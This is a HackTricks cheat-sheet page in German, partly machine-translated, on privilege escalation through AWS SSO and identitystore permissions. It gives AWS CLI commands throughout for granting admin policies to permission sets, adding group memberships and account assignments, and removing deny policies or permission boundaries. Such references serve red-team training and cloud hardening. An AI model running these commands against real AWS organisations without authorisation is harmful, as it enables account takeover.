AWS - SSO & identitystore Privesc

Reading time: 6 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

AWS Identity Center / AWS SSO

Für mehr Informationen über AWS Identity Center / AWS SSO siehe:

AWS - IAM, Identity Center & SSO Enum

warning

Beachte, dass standardmäßig nur Benutzer mit Berechtigungen aus dem Management Account Zugriff auf und das IAM Identity Center kontrollieren können.
Benutzer aus anderen Konten können dies nur, wenn das Konto ein Delegated Administrator ist.
Check the docs for more info.

Passwort zurücksetzen

Eine einfache Methode zur Eskalation von Rechten in solchen Fällen wäre, eine Berechtigung zu haben, die es erlaubt, Benutzerpasswörter zurückzusetzen. Leider ist es nur möglich, dem Benutzer eine E-Mail zum Zurücksetzen seines Passworts zu senden, daher bräuchtest du Zugriff auf die E-Mail des Benutzers.

identitystore:CreateGroupMembership

Mit dieser Berechtigung kann ein Benutzer in eine Gruppe gesetzt werden, sodass er alle Berechtigungen der Gruppe erbt.

bash
aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>

sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet

Ein Angreifer mit dieser Berechtigung könnte einem Permission Set, das einem unter seiner Kontrolle stehenden user zugewiesen wurde, zusätzliche Berechtigungen gewähren.

bash
# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet

Ein Angreifer mit dieser Berechtigung könnte einem Permission Set, das einem Benutzer unter seiner Kontrolle zugewiesen ist, zusätzliche Berechtigungen gewähren.

bash
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet

Ein Angreifer mit dieser Berechtigung könnte einem Permission Set, das einem von ihm kontrollierten Benutzer zugewiesen ist, zusätzliche Berechtigungen gewähren.

warning

Um diese Berechtigungen in diesem Fall auszunutzen, müssen Sie den name of a customer managed policy that is inside ALL the accounts kennen, die betroffen sein werden.

bash
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:CreateAccountAssignment

Ein Angreifer mit dieser Berechtigung könnte einem von ihm kontrollierten Benutzer ein Permission Set für ein Konto zuweisen.

bash
aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>

sso:GetRoleCredentials

Gibt die kurzfristigen STS-Anmeldeinformationen für einen bestimmten Rollennamen zurück, der dem Benutzer zugewiesen ist.

aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>

Allerdings wird ein access token benötigt, dessen Beschaffung mir nicht bekannt ist (TODO).

sso:DetachManagedPolicyFromPermissionSet

Ein Angreifer mit dieser Berechtigung kann die Zuordnung einer AWS managed policy aus dem angegebenen permission set entfernen. Es ist möglich, mehr Privilegien zu gewähren durch detaching a managed policy (deny policy).

bash
aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>

sso:DetachCustomerManagedPolicyReferenceFromPermissionSet

Ein Angreifer mit dieser Berechtigung kann die Zuordnung zwischen einer Customer managed policy und dem angegebenen permission set entfernen. Es ist möglich, zusätzliche Rechte zu erlangen, indem man detaching a managed policy (deny policy) durchführt.

bash
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>

sso:DeleteInlinePolicyFromPermissionSet

Ein attacker mit dieser Berechtigung kann tatsächlich die Berechtigungen einer inline policy aus dem permission set entfernen. Es ist möglich, mehr Privilegien zu gewähren, indem man eine inline policy (deny policy) abtrennt.

bash
aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>

sso:DeletePermissionBoundaryFromPermissionSet

Ein Angreifer mit dieser Berechtigung kann die Permission Boundary aus dem Permission Set entfernen. Dadurch ist es möglich, mehr Privilegien zu gewähren, indem die durch die Permission Boundary auferlegten Beschränkungen des Permission Set entfernt werden.

bash
aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks